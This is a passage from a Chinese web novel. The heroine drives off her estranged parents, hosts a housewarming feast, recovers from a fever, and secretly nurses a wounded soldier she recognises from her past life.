果然,听完王素娟说的,那刘家姑娘一刻也待不住,回娘家了半天就回了上坪村。 第二日,许芷早起刚开门,许富年和柳珍儿两口子就出现了。 柳珍儿见她开门,挤开她就往里进,嘴上还抱怨着。 “你这死丫头,懒死你算了,什么时辰才开门,让你爹跟我在门外好一阵等。” 许芷皱眉看着在她的房子里上蹿下跳的柳珍儿,挑剔的指着这房子里她不喜欢的地方,让许芷赶紧换了。 而许芷的亲生父亲,许富年则是站在门口,背手而立,拿腔拿调的开口道: “你这孩子如今有了出息,为父甚是欣慰,这房子不错,找个时间我跟你娘搬进来。” 许芷一听这话,顺手抄起门后的大笤帚,这是她新买的。 有一人高,下面的扇形将近一米宽,扫院子和门前的路很是方便。 她拿到手毫不犹豫的往许富年的身上扫。 “哎哎哎,你这丫头干啥呢,我是你亲爹!” 许富年被迫着跳着脚往后退,气急败坏的强调着自己的身份。 许芷冷笑一声:“四岁头上没再管过我的,好意思说是亲爹?” “你!” 许富年气极,嘴硬道:“你这孩子怎么能跟生父记仇,何况当时都是有难处的,为父又不是不要你,你不还在户头上。” 许芷呵一声,“我宁愿不在!” 手上的动作丝毫不停,把人赶出了门外。 柳珍儿出来房间看到了,她指着许芷骂道:“你个不忠不孝的死东西,亲爹来了不说毕恭毕敬的迎进去,你竟敢把亲爹往外赶?” 说着她跑到了许富年的身边,担忧的检查了一下,给他顺着心口。 许芷挑眉,笑出了声。 “正好,不用我一个一个赶。” “你什么意——啊啊啊啊啊,你这死丫头,我可是你母亲,你敢这样对我们!” 许芷一刻不停的将人直接赶出了山坳,听到柳珍儿嘴里骂的乱七八糟的话,只当听不见。 “我警告你俩,来一次我赶一次,你俩要是想多尝尝扫地出门的滋味,我也不介意多动几回手。” “你你你,你个死丫头,你等着!” 柳珍儿和许富年两人灰头土脸的出了下坪村。 到了家还是两人越想越气,尤其是柳珍儿。 “你可是亲爹!她都敢这样对你,死丫头赚了钱不知道孝敬家里,盖什么房子,你跟我还只有这一小间,她敢盖个一进的大院子!” “说着有啥用,从小没在身边,不亲不是正常的?” 许富年不耐烦道,心里却是有点怨上妻子了。 当初要不是为了娶她,怎么会把许丫头送走。 不送走现在有个一进大院子的就是他了。 说不准许丫头手里的钱,去城里买个院子都行,住到城里不是更快活。 想到这,许富年看着暴跳如雷的妻子,脸上有了嫌弃之色。 听的烦了,他直接出去去别人家躲起来。 到了乔迁宴这日,许芷和祖母起了个大早开始忙活。 王三婶、王茹娇和徐青云吃过饭也早早的来帮忙。 里正夫妻两个带着孙子半上午也来了。 前些日子光知道许芷家在盖新房,但是想着应当是简单的盖一间屋子就不错。 毕竟盖房子处处用钱,哪是那么轻易就能盖的起来的。 可两人看着面前这一进的大宅子,不免震惊。 心想这许丫头是真挣到了钱,里正现在有点后悔,当时许芷说租地的时候没有跟一个。 别人不跟就算了,自己作为里正怎么着也应该拿出一部分地试一试,若是挣了钱,这可是带着整个村子富起来的好法子。 只能明年问问许丫头看看,还租不租地。 看到里正来,院子里忙活的人都停下,来门口迎接他。 这被簇拥着的滋味,让里正有些飘飘然。 心想村里就这几家好说话的,都凑到了一起,还真是近朱者赤。 让他都觉得受尊敬多了。 他将手中新手写的对联递给邓老太,“邓家嫂子,这是我亲手写的对联,恭贺乔迁之喜啊。” 邓老太感到荣幸至极,这村子里除了办喜事,能求一求里正写副喜联,还真没谁收到过里正主动送的。 于是当即就要贴上,邓耧子搬过一张板凳,动作迅速地将对联贴上。 看到自己送的礼,如此被看重,里正也高兴多了。 第60章 投其所好 许芷带着里正稍微转了转新家,让其坐在了前厅,端了茶水和瓜子花生这些炒货。 还单独给里正的小外甥拿了根芝麻糖,这是昨天卖货郎来的时候,许芷特意买的,想着为今天准备点。 拿完许芷懂事的去帮忙,让舅舅陪着里正聊聊天。 而里正看到来的女人家都去帮忙,就使了眼色让自己的媳妇儿也去。 里正媳妇儿也觉得自己应当去帮一帮,故而看到男人的眼色,当即就出去了。 只是去了厨房,帮忙的人太多了,她一时站在那也不知道干啥。 厨房旁边放了张矮几,邓老太刚做好一样菜炖上,此时也正坐着嗑瓜子休息。 她看见里正媳妇儿站那有些无措,冲她招招手道:“张家妹子,来吧,来坐在这咱们俩老婆子说说话,让她们忙。” “哎。” 里正媳妇儿笑眯眯的坐下,跟邓老太俩人扯闲话。 忙到半下午,所有的菜就都做出来了。 想着大家都忙了快一天,肯定都饿了,就不等着晚上在开席,现在就摆上。 干豆角粉条炖小鸡混排骨、白萝卜清炖羊肉、土豆烧牛肉、蒜薹炒肉、猪肉大葱饺子、炒鸡蛋、小葱拌豆腐、清炒菠菜。 还有包饺子没包完的馅,烙了金黄的大肉饼。 这一桌子菜,除了俩素菜剩下的都是荤菜,还个个不重样,看得人口水直流,等不及落座。 众人刚落座,一阵马蹄声在门前停下,紧接着三七出现在门前。 “许姑娘,我跟东家来贺你乔迁之喜了。” 话音落下,身穿靛蓝色长袍的宋清奕便出现在门口。 后面跟着个不认识的小厮,手里抱着一红绸遮盖的东西,小跑到许芷的面前说道: “这是我们少爷送您的礼。” 许芷一脸懵道谢,想要把东西接过来。 那小厮却往后退了一步,道:“姑娘说放哪,我帮你放了去,这东西沉,仔细伤了姑娘手。” 许芷一听这话,赶紧将人引到屋里,把东西暂时安置到了那张梳妆台上。 等放下后,那小厮道:“姑娘,我们少爷说了,让你亲手打开看看。” 许芷闻言伸手将那物件上的红绸扯去。 映入眼帘的是一尊烧瓷的流苏树摆件,流苏花盛开在枝头压得树枝都弯了腰,好像大雪覆盖一般。 这瓷非同一遍的精巧,摆在那让人恍惚了真假。 许芷愣怔的看着面前的摆件,她伸出手触摸,那冰凉的触感好像一股激流从指尖猛蹿进心底。 让她觉出了几分酸涩。 等她出来的时候,宋清奕已经被安排到男宾那桌了。 只是今日男宾少,女宾多,许芷家里就一张八仙桌,故而让男宾都做了矮几。 如今多了三个人,那矮几就有点局促了。 所以他们把两张矮几凑在一起,让那两人坐下,等她跟那小厮出来,三七招手让那小厮坐自己旁边。 许芷走过去,郑重地跟宋清漪道了谢。 这完全在她意料之外,根本没想过宋清奕会带礼前来。 宋清奕温柔的颔首,轻启薄唇道:“恭喜许姑娘。” 许芷嗯一声,斟酌了一下,还是问出了口:“怎么送我这个?” 宋清奕脸上挂着温和的笑容,眼神好像一汪泉水,晶莹剔透,看着许芷的时候。 她好像能从中看到自己,像从前那般。 许芷站在原地,就这么直视着对方,谁也没有先移开眼神。 良久,许芷才听到宋清奕开口道:“送礼不就是该投其所好?” 他说的语气那么理所当然,让许芷恍惚。 “你怎么会知道我喜欢?” 她固执地问着。 宋清奕唰的将扇子打开挡在了鼻尖,缓缓靠近她,一股清冽的气息逐渐包裹许芷。 她僵住的同时放大了呼吸,耳边除了自己的心跳声,还有他的呼吸声。 只听他轻声道:“杜仲说的。” 说完在许芷还沉浸他的靠近的时候,他已经撤走,再看过去已然正襟危坐。 许芷暗叹口气,庆幸自己并未失态。 三七在一旁也站起身,从袖袋里掏出来根簪子递给许芷。 “我没东家的礼那么大,就是寻了个姑娘应该喜欢的簪子送你。” 许芷接下了簪子,诚心道谢:“送礼是心意,不论大小,这簪子我喜欢。” 三七不好意思的挠挠后脑勺,道:“喜欢就成,喜欢就成。” 大家吃席的兴致并未因为宋清奕的到来有任何的改变,依旧热闹非凡。 三七很好的融入进了这氛围,跟乡亲们喝酒吃肉好不快活。 而宋清奕更像是个遗世独立的白鹤,他感受着大家的热闹,同样会高兴,但并不参与进去。 偶尔有人问他,他也没有架子,温声回答。 这席直到月牙高升才散去。 许芷先是送走了村里人,而最远的宋清奕反而没什么要走的意思。 他矜贵的身姿坐在那里一动不动,惹得邓老太和邓耧子忍不住胡思乱想。 宋清奕身旁的三七已经困得不住的点头,偏偏他沉得住气。 邓老太偷偷拉过许芷问道:“你实话跟祖母说,是不是欠了怀清堂的债,人家故意等在这要呢?” 许芷惊诧于祖母的想象力,连连否认。 “祖母莫要多想,说不定人家只是想安静些的走。” 似乎是为了验证许芷的话,她的话音刚落下,宋清奕就站起了身。 三七看到东家起了身,也连忙站起来, 宋清奕走到邓老太的身前,温声道:“多谢款待,晚辈先行离开了。” 邓老太除了客气的笑着说招待不周之外,也不知该回些什么。 将人送到了门外,看到宋清奕上了车,邓老太才回家。 而许芷慢了一步,听到背后那人叫了她一声。 “许姑娘。” “东家还有什么事?” 许芷转过身,看到宋清奕骨节分明的右手搭在车窗上,另一只手用折扇挑着窗帘,下巴搁在右手手背上,黑白分明的眼睛盯着她。 这样子多了丝天真,像极了他弱冠之年的样子,只是脸上的青涩稚气和意气风发同当时不能比。 毕竟那是十年前的他,如今他应当刚踏入而立之年。 片刻之后,他才开口:“你喜欢吗?” “什么?” 许芷一时没反应过来。 这懵懂的样子似乎取悦了他,他轻笑出声,又道:“那尊流苏花瓷。” 许是对他三番五次突然出现的不满,也有看他取笑自己的嗔怒。 许芷起了逗弄的心思,她故意反问:“东家不是说送礼就该投其所好?原来只是场面之言,底气并不足。” 宋清奕低头痴笑几声,并未接话,只让小厮赶马车。 看着马车消失在了夜色中,许芷心情也平静了许多。 第61章 白菜糊面 晚上在梦里,她竟又回到了从前。 梦里宋清奕和哥哥刚从外地运了药材回来。 哥哥给她带了当地的特色糕饼,宋清奕有些扭捏的送了她一方手帕。 那手帕上绣的正是流苏花。 她淡然一笑接过,心底却像是放了烟花。 脸上一抹红晕,让她燥的推开了窗。 透过窗户,她看到了对面药房里正在研究新药方的爹爹。 娘亲在爹爹的身边,贴心的为他擦去焦灼的汗水,为他扇扇子。 那恩爱的样子,让许芷心生向往。 只是她的嘴角刚刚扬起,周围的一切突然扭曲剥落,一座巨大的观音像压迫感十足的看着她。 她死那日钻心挠肺、深入骨髓的痛瞬间爬满全身,让她控制不住的颤抖蜷缩在地。 豆大的雨滴打落在她的身上,又疼又冷。 一阵亮光闪过,打雷声接踵而至,她好像被打入了无间地狱一般受折磨。 痛感渐渐感受不到,她只觉得冷,彻骨的冷意。 冷到她猛然睁开眼睛,漆黑的屋子让许芷反应了半天才回过神。 这是她的新家,没有她的爹娘哥哥。 身上的被子,不知道什么时候掉在了地上,怪不得那么冷。 窗外淅淅沥沥的声音,昭示着正在下雨。 许芷下床将被子捡回去,走到梳妆台前,打开一个小匣子,拿出了里面的棉花团成团塞进了耳朵里。 她讨厌下雨天,更讨厌这雷声。 突然一道闪电闪过,照亮了她苍白的面容,许芷的手不受控的微微颤抖着,她关上了小匣子,快步上了床。 将被子拉上来蒙过头,似乎这样能好受一点。 第二日,邓老太起来的时候,雨过天晴。 刚下过雨的山坳空气都清新了许多。 可一场秋雨一场寒,这怕是秋日的最后一场雨,扑面而来的寒气让邓老太回屋又添了一件衣服才出来。 因为冷了许多,她今早打算做热乎的白菜叶糊面。 白菜叶糊面不是用面糊做的,而是切细条的白菜叶炒过加水。 水开了之后先撒一点粗面进去,咕嘟一会儿,让这汤煮粘稠,煮出粗面的香气。 再下入切好的手擀面,最好是切成龙须细面,那样更入味,更黏稠。 说是面,更像是咸香口的黏稠的粥,加上腌的咸菜丝,吃进嘴里那叫一个利口美味,吃饱了还暖和。 刚做好饭,邓耧子掐着点就到了。 “娘,今早吃啥啊?” 看到是糊面,邓耧子喜笑颜开。 “娘,好久没吃了,我就想这一口呢。” 邓老太给儿子盛上一大碗,让他先吃着。 而她要去叫许芷起来吃饭,她以为许芷没起又是睡懒觉呢。 这天这么冷,被窝里暖和些,赖一赖也正常。 邓老太推开她的房门,故作生气说道:“我的懒丫头,打算赖到啥时候起啊,祖母的饭都做好了,快起来吃吧。” 这么说着床上的人没一点反应,邓老太心下不安,快步走上前才发觉孙女的脸红的异常。 她的手放上许芷的额头,烫的吓人。 邓老太担心的什么都顾不得,惊叫着让儿子别吃饭了,赶紧把许芷送去看大夫。 邓耧子一听许芷生了病,饭碗立刻放下,冲到门口才想起男女有别。 “娘,你快给许丫头穿上衣服,我带她去城里看病。” 邓老太一刻也不敢耽误,赶紧给许芷穿上衣服。 穿好后,让儿子进来,邓耧子背起外甥女就出了村。 因为不是集的日子,牛车不拉人。 邓耧子特意跑到了人家家里,加钱让人把许芷送到了城里。 等许芷再醒来的时候,眼前还模糊着,熟悉的药味先钻进鼻子。 那是常年熬药和放药材的药堂才会有的气味。 她的眼泪一下就掉了下来,自己这是回了家? 下一刻一只饱经风霜的手抚上她的脸,擦去了她的眼泪。 一声“小指儿”把她唤回了现实。 她的眼前逐渐清晰,祖母、舅舅、杜仲、三七和黄药师都探着头,直勾勾的看着她。 许芷微不可查的叹了口气,心想自己现在还闭上眼来不来得及。 这么多人就这么看着自己,实在是惶恐...又惶恐... 黄药师看她醒了过来,又给她把了脉,跟邓老太说:“这丫头现下没事,高热也退了,等她休息片刻,恢复些体力就能回家。” 听到这话,邓老太和儿子才松了口气。 邓老太红着眼趴到床边,握住许芷的手,哽咽道:“你这孩子真是吓坏祖母了,是不是昨夜睡觉又蹬了被子? 就知道你一个人睡不老实,昨晚上下了雨那么冷,肯定是没盖被子冻着的。” 许芷尴尬的轻咳一声,很想说自己没事,可嗓子如同烧红的炭块经过,皱巴在一起疼的说不出话。 被当众说睡觉不老实这件事,让许芷脚趾扣地,宁愿再度昏睡过去,不知道也就算了。 还是杜仲看出了她急需温水润嗓子,去倒了一杯过来,让祖母喂下去,她才好些。 “祖母,我这不是没事,就别揭孙女的老底了。” 邓老太也才发觉刚刚自己的言语多有不妥,她嗫嚅道:“祖母都是太担心你。” 许芷费力地扯起一抹笑,安慰祖母道:“我清楚的,祖母。” 黄药师又叮嘱了几句,回去后该怎么吃药注意,就叫着三七忙了去。 杜仲也宽慰了许芷几句,也做自己的事去。 许芷在怀清堂休息了半个时辰,觉得好些了,就跟祖母和舅舅回家了。 回去前,付账的时候账房的人说,黄药师交代她的药费从她的月银里扣,不用给钱。 如此他们拿了药就出门要走。 而等他们走出了一段距离,许芷听到身后有人叫。 转头看到是三七急匆匆的跑过来,他手里拿着几包药,气喘吁吁地在许芷面前停下,塞给她。 “这、这是师父给你的,让你、好好养。” “代我谢过黄药师。” 许芷温声道。 “那是自然,你可快点好,好了帮我分担些,你不知道这月铺子忙成了什么样。” 三七想起都有些怕,无奈地摇摇头,跟许芷说了还要忙,就赶紧回去了。 第62章 怪味鸡蛋 到家的时候,邓老太要给许芷做碗粥喝,掀开锅盖才想起早上还做了一锅的糊面。 如今一凉成了浆糊,也没法吃,只能全倒掉重新做饭。 邓老太做了红薯稀饭,清炒了个白菜,蒸了碗鸡蛋羹给许芷补身子。 在她做饭的时候,许芷在院子里给自己熬药。 本来邓老太让她在厨房熬药,但她嫌熬药和做饭一起,味道混着难闻坚持要在外面熬药。 就算邓老太说冷也拗不过她,只能让她多加了件衣服,坐在院子里熬药。 其实她守着小火炉并不冷,甚至还有些出汗。 祖母饭做好的时候,她的药也熬成了。 许芷把药倒好,放在一边晾着先吃饭。 饭吃了一半才把药喝了,可喝了一大碗药,碗里剩的粥是无论如何喝不下了。 只能倒给了养的鸡吃。 吃过饭,她身上还是有些乏力,又在祖母的强烈要求下,躺上了床休息。 没躺多久,许芷就听到了王茹娇的声音。 她心里数着数,大概数了五个数,就听到了外面急匆匆的脚步声。 紧接着,吱嘎一声王茹娇推开了门,担忧的声音比人先进来。 “小芷,你怎么生病了?” 许芷撑起精神靠着床上的小矮几,道:“已经没事了,不过是没什么精神,多躺躺就好。” 王茹娇心疼的望着许芷,“昨夜下了雨,凉得很,你一定没盖好被子。” 许芷心虚的摸了摸鼻子,否认道:“才不是。” “那还能是啥?总不能你没关窗?” 王茹娇猜测着。 许芷顺着她的话承认道:“对,我晚上习惯窗户留条缝透气。” 王茹娇一听贴心的嘱咐许芷:“天冷了,不能这样做。” 许芷不反驳只是连连点头听着。 正好她在陪着许芷解了一下午闷。 到了晚上,她才回了家。 第二日,一大早就又来。 许芷还未醒来,王茹娇叫着她的名字闯了进来。 接着一个奇怪味道的鸡蛋就被塞进了嘴里。 “小芷,我每次生病娘总会给我烧这个红糖香油姜末蛋,吃了就好。” 许芷刚醒吃不下什么东西,硬是嚼了很久才将鸡蛋都咽下去。 腾开嘴,还有些噎得慌,她缓慢地道谢:“谢谢你娇娇。” 红糖可是稀罕物,一般人真还吃不起。 可就刚刚那个蛋甜到齁的程度,可见红糖没少放。 这种心意,许芷实打实的接收到了,她决定下次卖货郎来的时候,给娇娇买她喜欢的芝麻糖。 许芷这一病,她蔫了整三天。 三天后,没什么事的她,又上了山。 她想趁着下雪前,多跑几趟山上,兴许还能多弄些药材。 上次卖牛黄的钱,她手里已经不剩什么了。 昨日她闲来无事算了账,拿出来才发现只剩了一两七钱。 这一个月真真是体会到了花钱如流水的滋味。 还有一两个月就要过年,为了过一个好年,也该从现在起存钱。 她背着背篓上了山,山上萧瑟了许多。 枯黄的树叶,只有零星几片还倔强的挂在枝头,任寒风凌冽,也绝不飘落。 不过这样也好,有什么样的草药不必费心找,一眼望过去就能看个大概。 她找到了不少的防风和山药,还有些枸杞。 枸杞不打算卖,回去晒一晒自己泡水喝,山药很多,自己留下一点吃,剩下的也都拿去卖。 许芷把一片防风都弄完,站起身打算回家。 突然她闻到了一股浓重的血腥味,刚刚采药太投入竟没有察觉一点。 她正思考着别多管闲事还是医者圣心找一下伤者的时候。 突然,脚踝被抓住。 许芷低下头,只看到一只满是鲜血的手,死死抓住自己。 她转头看去,那是一个穿着褐色军服的男人,蓬头垢面,看不出面容,但许芷却觉得这双眼睛很熟悉。 男人费力的抬起头,猩红的眼瞪大了看着许芷,丢下句“救我”便昏了过去。 许芷看了眼男人,蹲下检查了下伤口,胸前一道长刀伤,从心口的位置一路到肚脐。 背后三道斜的伤口,工整异常,像是三指爪伤的。 她将男人的外袍脱下撕成条,包上伤口,先止血。 然后,一点没犹豫下了山。 到了家之后,许芷叫来了自己的舅舅,让舅舅跟自己上了山,把人背了下来。 她这小体格,可弄不动有着健壮身体的兵。 下山的路途中,她找到了几株存活的三七。 回到家捣碎了敷到了这男人的伤口上。 现在她手头能用的草药太少。 还好家中有晒干的艾叶,烧成灰也能敷伤口。 上次她发热的药还有一副,拣一拣里面的药材,要是他晚上发热也能用。 邓老太看着满身鲜血的男人,吓得捂胸口。 为了防止出现什么农夫与蛇的故事,他们将男人安置在了窑洞里。 这样关上侧门,男人就进不来。 许芷将男人的伤口都处理完了后,邓老太端着盆热水过来。 给男人整理下面容。 随着男人脸上的污垢都擦去,许芷愣在了原地。 她不相信这个世界上有这么巧的事,可偏偏就发生在她身上。 怨不得在山上的时候,她觉得这双眼熟悉。 这人竟是宋清奕小三岁的胞弟,宋昭奕。 她明明记得当时宋昭奕的志向是读书入仕,她死前十六岁的宋昭奕早已考中了举人,正在准备会试。 可如今怎么会入了军营当兵? 还出现在这里,意外被她救到。 这样重的伤,难道是得罪了谁,被人追杀? 许芷想了想没头绪,也没从这震惊中出来。 她打算明日就将他送到怀清堂去,在她这只能简单的救治,根本不行。 还是送到他哥那,大夫也有,草药也齐全,定能好好医治。 因为确定了人,许芷反倒不担心会发生农夫与蛇这样的事情,毕竟宋昭奕的品性她还是了解的。 除非这十年,他完全换了个人。 所以许芷今夜打算在窑洞里照顾他,谨防意外情况。 而邓耧子听了很是不赞同,祖母也不愿意,觉得这样太冒险。 他们该做的已经做了。 并且他们也并不觉得许芷有这样的医术,能彻夜在这里照顾个病人。 不管是出于安全还是怕被讹上的担心,都不想让许芷这样做。 没办法,许芷只好先假意听了他们的话。 打算晚上偷偷去看宋昭奕。 第63章 重金酬谢 半夜,她听着祖母那屋鼾声四起后,蹑手蹑脚的打开侧门,进了窑洞。 她摸了摸宋昭奕的额头,倒是没发热。 许芷放下心来,打算回去睡觉,转身却被抓住了手腕。 转身看到宋昭奕一脸防备的看着她。 许芷觉得好笑,舒出一口气说道:“是你抓住了我,让我救你的,现在才想起来戒备有些晚了吧?” 宋昭奕顿了一下,捏着许芷的手松了些,但并未放开。 许芷无奈的拨开他的手:“你这五大三粗的样子,还担心被我这么个小姑娘做什么?” 宋昭奕的神色放松了一些,垂下眼皮道:“谢谢你,小姑娘。” 许芷听到这个称呼扑哧一声笑出来。 从前她比宋昭奕大一岁,把他当弟弟看待。 如今两个人反了过来,听着他把自己当成小丫头,实在是忍不住笑。 宋昭奕不明白她在笑什么,有些奇怪的看着她。 许芷摆摆手道没什么,止住了笑问他饿不饿。 宋昭奕本想说自己不饿,不愿麻烦她一个小姑娘大半夜叮呤咣啷的给自己做饭。 可他刚摇头,肚子就传出饥饿的咕咕声。 许芷再度笑出声,揶揄他:“看来事实大于雄辩。” 她清楚自己的厨艺,需要调味的自己都做不好,还费劲。 所以她拿了两个鸡蛋,打算蒸个鸡蛋羹,不需要调味,只需要出锅的时候淋上点香油和酱油。 家里的鸡已经开始下蛋了,一天能收七八个。 给他吃两个,祖母发现不了。 她拿出了熬药的小灶,用了个小砂锅蒸。 宋昭奕观察着自己所处的环境,这屋子看起来像是个年龄大的人住的。 正看着,许芷推门进来,手里端着碗不知道是什么的东西。 不过香油的香味已经飘进了宋昭奕的鼻子,他的肚子饿的更明显。 接住碗,才看到里面是鸡蛋羹。 他吃的很急,几乎是三口就吃完了这一碗。 甚至许芷都没来及说一句慢点吃。 他有些尴尬的弱弱解释说:“我应该是两三天没吃东西,就急切了一些。” 许芷淡淡的嗯了声,拿过他手里的碗说道:“吃过东西好好睡一觉,明日我给你送到怀清堂去。” “不去!” 宋昭奕突然急切出声,接着他嘶的一声,应当是用力扯到了伤口。 许芷对他这排斥的样子很不解,劝说道:“我家里没有药,给你敷伤口的都是山上现找的,把你送进药铺你才能得到更妥帖的照料。 况且——” 话说到这里她戛然而止,差点暴露了自己知道他们兄弟俩的事情。 索性宋昭奕一点没好奇她接下来的话,而是不悦的说:“反正你给我弄了药,生死有命,我认。” “你这人!” 听到这自暴自弃的话语,她忍不住出声:“明明能活着,何必如此。” “我很感激你救了我,日后我定会重金酬谢。” “你先有日后再说吧,都不愿去药铺治疗的人,我如何能信你这话。” 许芷有些生气,说话的语气都重了些,她强硬道:“反正明日一早我就给你送去。” “不行!” 他怒吼出声,许芷怕他吵醒了祖母,连忙竖起食指比上嘴唇。 “你小声些,别吵醒了我的家人。” 宋昭奕放低了声音,但态度还是非常的抗拒:“总之,我不去他的药铺,我明日自己会走。” 这话倒是让许芷嗅到了不同寻常的味道,宋昭奕口中的“他”是宋清奕吧。 所以他不去药铺,是因为宋清奕。 奇了怪了,从前,他们兄弟俩关系好得很,如今在宋昭奕的口中倒像是仇人。 这十年究竟都发生了什么? 如此她松了口,不在逼着宋昭奕去怀清堂,而是退一步说:“既然如此,你安心在这养伤,我不会送你去的,明日我会去药铺给你买药。” “不必,明日一早我就会离开。” 宋昭奕不想再麻烦这位姑娘。 许芷被宋昭奕这个倔强的样子搞得烦躁。 “你如今这个样子,还是老实在我家躲几天的好,你身上的伤像是被人追杀,如今你还未恢复,若是撞上了杀你的人,岂不是羊入虎口? 我也白费这一番功夫救你。” 宋昭奕没想到素不相识的姑娘会这样替他着想,他一时有些动容。 “真是谢谢你。” 许芷往外走的步子顿住,故意说道:“我只是怕得不到‘重金酬谢’。” 这四个字她说的用力,说完就走出了窑洞,回到了自己的房间睡下。 她怎么可能让没完全好的宋昭奕出去,也不知道伤害他的人是不是还在附近。 怎么说曾经也是当姐姐的,自然会对他负责一些。 第二日,许芷醒来的时候,祖母刚准备做饭。 邓老太看到许芷要往窑洞去,赶忙拦住了她,“你先别进去,等你舅舅来了再去。” 许芷知道祖母是想保护自己,她听话的不跟祖母犟,等到早上舅舅来才进去。 进去的时候,宋昭奕已经醒了。 他看着来人不止许芷,猛然坐起,警惕的看着邓耧子。 许芷淡然的解释:“这是我舅舅,昨日就是他把你背下山的。” “嘿,你这人还防着我呢?我还怕你是什么坏人呢。” 邓耧子不满道。 宋昭奕松了口气,靠着身后的墙,郑重地保证道:“你放心,这位姑娘救了我,我感激不尽,我也不是什么坏人。” 邓耧子还是不信:“谁家好人坏人用嘴说啊,反正你要是好了赶紧走,要不然有你好果子吃。” 对于舅舅对自己的维护,许芷很高兴,但是她也没法跟舅舅说宋昭奕不是这样的人。 所以她故作一副为钱财的样子,对宋昭奕说:“我去药铺给你抓药,这些钱你到时候都要成倍还我。” 宋昭奕虚弱的答应下来,从脖子里掏出一块玉牌,递给了许芷。 “姑娘,这玉牌值些钱,你拿着,就当是我给你的酬谢。” 许芷看着他手中的玉牌,没有上前去拿。 这玉牌对宋昭奕很重要,她记得是他喜欢的姑娘送的,如今所迫竟舍得给自己。 许芷没收下,故意说:“我不认什么玉牌,也不知道你骗不骗我,还是日后给我真金白银,那我识得。” 邓耧子颇为赞同的看着外甥女,觉得许芷做得很对,这玩意儿他说值钱就值钱啊? 还是要银子实在。 宋昭奕看着许芷这贪财的样子,觉得跟昨晚的人好似两个一般。 他心想可能就是好心但贪财的人吧。 故而,他承诺道:“姑娘放心,日后我一定真金白银酬谢。” 许芷点了点头,满意的离开。 第64章 买金疮药 吃过早饭,给宋昭奕也端了一碗饭。 出去前她特意叮嘱了宋昭奕:“我祖母胆小,你这样子会吓到她,就待在这别出去。” 她还贴心的拿过来了个恭桶。 宋昭奕应承道:“姑娘放心,你不回来我不会出去的。” 交代完,许芷就出门去城里。 宋昭奕也是命好,今日正好是集。 她来到村口,等到了牛车摇摇晃晃的进了城。 到了怀清堂,先交货,把自己做好的药丸给了三七。 又卖了新采的药材,不过没多少,就挣了几百个铜钱。 领完钱,许芷问杜仲买金疮药。 “金疮药?许姑娘你受伤了?” 许芷摇摇头,说自己只是备不时之需。 杜仲闻言诚心建议道:“许姑娘,金疮药过于昂贵,多用于刀剑创伤,你应该用得少,不值当花这个钱。 你要是想备药,不如要艾草灰做的膏贴,小伤口就够用,再大的伤口用的上金疮药的,在家里你们也处理不了,还是得来药铺的。” 许芷闻言一笑,杜仲以为自己的建议她听进去了,没想到下一刻许芷还是坚持药金疮药。 杜仲就不再多嘴,拿了一瓶金疮药递给许芷:“在我能力内,给你让两成,一共一两银。” 许芷道过谢,利索的付了钱,拿着药就回家。 到家之后,第一件事就是去给宋昭奕换药。 虽然没人会知道,但是邓耧子还是要陪同许芷去给宋昭奕换药。 既保护许芷的人身安全,又保全许芷的名声。 昨天在危急的情况下,什么都没有的许芷包扎很简单。 今天她买全了东西,包扎就认真了很多。 换药的时候,许芷检查了下伤口,恢复的还可以。 换完药走出去以后,邓耧子跟许芷说:“小芷,下次让舅舅给他换。” “舅舅你也会?” 许芷有些怀疑。 邓耧子很有信心的说道:“刚刚在旁边我都学会了。” 昨日他去背宋昭奕下山的时候,当时许芷已经包扎好,所以他并不知道宋昭奕伤成这样。 他也没想到给这人包扎竟是要打着赤膊,许芷一个姑娘家,这种事情还是要避开。 许芷没想到这一层,在她眼里宋昭奕还是记忆里的弟弟,而且救人的时候她也想不到这些。 于是下一次换药的时候,人就换成了邓耧子。 看到邓耧子来给自己换药,宋昭奕也松了口气,其实他也觉得别扭。 只是自己伤的重,实在没办法自己换药。 如此这般正好。 就是邓耧子换药不熟练,还有些没轻没重的,换药的时候好几次都压到了伤口。 宋昭奕咬着牙忍,才没说出来。 在许芷这里养了四五天,宋昭奕的脸才看着有了血色。 他正在屋子里锻炼,许芷开门端着碗面进来。 宋昭奕连忙收了势,走过去接住了面。 “麻烦你了,许丫头。” 从他知道许芷的名字后,就这么叫了。 刚开始许芷还有些不习惯,但现在已经能很平淡的接受这个称呼了。 “不麻烦,日后你可一定要重金酬谢。” 许芷随口说着,没有立即出去,反而坐下了。 看着吃的正香的宋昭奕,问道:“听宋大哥的口音,像是江南地区的人啊。” 宋昭奕咽下口中那口面,笑着回道:“你个小丫头,耳朵还挺灵,没错,我家是姑苏城的。” 许芷若有所思的嗯了声,好似无意的说道:“听说姑苏城杏林圣手极多,上次我去南庄寨子听郭员外还说到姑苏的宋家和苏家都不错。” 话音落下,“嘭”的一声,宋昭奕手中的碗也应声落地,瞬间碎裂四溅。 看着宋昭奕难看的脸色,许芷心中一凛。 宋昭奕眼神冷了下来,看向许芷的样子好像是上了弦的弓箭,散发着已知的致命气息。 许芷感知到了不对劲,她立刻尖叫出声,慌张的蹲在地上拣碎瓷片。 “宋大哥,你这是咋了?我们家碗可不多,这你要赔的。” 他突然抓住许芷的手,眼神像刀一样,好像要把许芷的外皮都刮开,看清楚里面的模样。 许芷恼怒的推开了他,揉着通红的手腕退后几步,跟他拉开距离。 眼泪在眼眶打转,一副受辱的样子,尖声道:“宋大哥,你怎么能这样呢!我是你的救命恩人,你怎能如此轻薄于我。” 宋昭奕看着许芷那屈辱不堪的样子,泪水流过少女倔强朴实的面容。 他在心中暗道自己多想,这小丫头怕是最远就去过那南庄寨子,随口一问罢了。 那南庄寨子的草药贩子,年龄大些知道苏家和宋家也不足为奇。 是他自己反应过激了。 他撑起一抹牵强的笑容,跟许芷道歉:“抱歉许丫头,我只是怕你伤到手,但我这人不会做事,无意做出这种糊涂事,十分抱歉。” 许芷眼泪好像停不下来,每一声抽泣声都好像是响亮的巴掌,扇在了宋昭奕的脸上。 他有些手足无措,不禁反问自己这是干什么。 这不过是个小丫头,随口问问而已。 人家救了自己,他却把人惹哭了。 “许丫头,你、你莫哭了,你有什么要求就跟我讲,我尽力都满足你。” 许芷擦了擦眼泪,浑圆的杏目怒视着他,带着哭腔问:“你说真的?” “自然是真的。” 宋昭奕说的笃定和诚恳。 许芷心想差不多了,她转了转眼珠,故作天真道:“我从小就对医术和药材颇为感兴趣,可我一个姑娘甚少有人愿意教我。 家里人也不愿意让我学,我只能偷偷学了些药材,但我更想学习医术,悬壶济世。 我问了南庄寨子的郭员外,他说好的圣手都在姑苏,曾有两大家族,所以就想问问你可以帮我找个师傅吗?” 